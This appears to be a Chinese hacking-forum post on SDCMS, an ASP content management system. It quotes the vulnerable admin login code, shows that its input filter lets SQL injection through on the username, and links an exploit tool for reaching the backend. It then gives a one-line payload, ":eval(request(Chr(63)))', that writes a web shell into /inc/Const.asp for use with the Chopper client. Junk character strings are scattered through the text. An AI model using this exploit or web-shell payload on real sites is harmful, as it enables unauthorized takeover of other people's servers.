SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
" l- Q1 f6 c% Z2 o  W漏洞文件：后台目录/index.asp
: x$ b2 J& y& F/ ]2 o4 \- n1 j3 m
Sub Check
    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
7 Q1 |, f' ]% V    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
( h; n0 `& x/ P4 ]( C' I5 S    getcode=Session("SDCMSCode")
& H* P; Y7 z& I$ j    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
' w: j! A! V2 k    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
1 E3 m4 a" C; U& a  ~6 ^" ]    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
* b& \7 N4 \0 B, v2 P2 C$ M5 H    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
    Else
! h$ d/ @* w' \& G$ K5 a        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
$ A" s, M: }8 l; h3 X0 ^5 a            AddLog username,GetIp,"登录失败",1
: I$ n, S& C. n5 _: P            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
- a7 g  S* z/ ~- _0 K            Add_Cookies "sdcms_pwd",Rs(2)
& b/ n+ F- {; e3 x, V$ l            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
" i* u4 A2 d1 W0 i( ^1 B& e* y            Add_Cookies "sdcms_infolever",Rs(5)
0 U; E# }* j0 Q0 n/ f$ r0 v' J* b            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
! }- w3 X; n  X/ M% {3 ^2 U# x            AddLog username,GetIp,"登录成功",1
( g3 J1 [) a( g3 v- f+ ?            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
8 P! H0 a2 l; t/ ?! H                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
9 N! F' X+ x5 T, q& e0 [7 F; X            Else
" d9 K  u& A4 f; g* R7 S7 X                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
9 y/ D+ I( L2 r: b            Go("sdcms_index.asp")
        End IF
        Rs.Close
        Set Rs=Nothing
; p( U7 t& i$ P+ G% `8 P3 x# ~1 {    End IF
) O1 O8 o, r! e. o9 CEnd Sub
7 v, S8 M2 [% p. `$ d- y, G
9 \6 U3 t/ a- J! l& c. R/ x. {’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
    Select Case t1
. E# w: ]7 h/ b" c8 I. w        Case "1"
- F0 K! y# [. K            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
  F! z. g# m* |+ Y+ \8 Q            t0=Replace(t0,Chr(10)&Chr(10),"")
! |( P7 \& L  a* E4 C7 U9 u8 w            t0=Replace(t0,Chr(10),"")
/ S% \1 D4 D2 c8 M3 i        Case "2"
5 I7 k* z. d" G3 \' `            t0=Replace(t0,Chr(8),"")'回格
5 c( L/ ~: O4 M            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
1 w' q" m  Y6 O' J            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
            t0=Replace(t0,Chr(22),"")
2 K2 s, r" n- F  `% v6 k9 v! z            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
            t0=Replace(t0,Chr(35),"")'#
& A, k. F- P/ y3 l0 M            t0=Replace(t0,Chr(36),"")'$
$ I4 a& W; ]4 z            t0=Replace(t0,Chr(37),"")'%
7 z5 K' g* B* Y3 i0 O            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
2 e/ g* b& {2 u2 _7 G- r1 t            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
, c2 X3 S2 X6 p. O6 T& X            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
, L: p1 c0 p6 V1 C3 ]) y            t0=Replace(t0,Chr(58),"")':
9 z, K3 k; E6 R0 s            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
, v; a3 z  w, E7 M% T            t0=Replace(t0,Chr(63),"")'?
- z0 T. i- y- z% x3 z9 @            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
" W1 K( \+ h8 W0 `            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
, h) r+ U( t1 s9 j# l5 ~            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
# V* Q% t2 \$ E  S: l8 e( M    Case Else
! j/ i9 [+ ^2 m% A2 U        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
$ Y8 ?4 I7 A5 V5 H) F7 @        t0=Replace(t0, """", """)
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
0 @! v9 x& m8 B- l  {    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
& I" U" k) `9 H+ b        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
    FilterText=t0
6 ]! A0 t+ Q7 A6 s8 k8 L5 oEnd Function

3 `. |' W4 K# o' \, v看到没。直接参数是1 只过滤
( s) c, W. b6 s7 d                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
9 g, M, T2 Y9 a9 x% c1 {                        t0=Replace(t0,Chr(10)&Chr(10),"
3 P. D# ^% c+ ?: R")
                        t0=Replace(t0,Chr(10),"
")
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP

测试:

) N# ]) r4 W/ I( I1 y+ Y
7 Z+ Q$ v5 _0 i% v+ Y- x, S2 B, i现在输入工具上验证码,然后点OK
1 o; P' \: i% V/ G" F2 F2 S

看到我们直接进入后台管理界面了,呵呵!

) h/ ?0 w$ a: S" y

# ]6 f) C* }1 V8 U' L这样直接进入后台了。。。。
0 ~& f& X0 ^% b0 G# n1 J" W

9 B6 S9 O: D; ~
6 V+ x1 I" j0 g4 i8 ]SDCMS提权:
6 _( G( N- w, k1 v& x
方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?

# |( A% y5 z" w& c5 K
, s0 `; J: u& f- W) \, D
9 m* y# L  S: ]) j5 O- O" HOK,现在用菜刀连接下!
; W  h# m7 q3 Y' O2 Z' J0 v* _& s8 g

- R4 ^: `- u' U( m" m( K! e" L


8 r/ u8 l& |0 i4 w9 W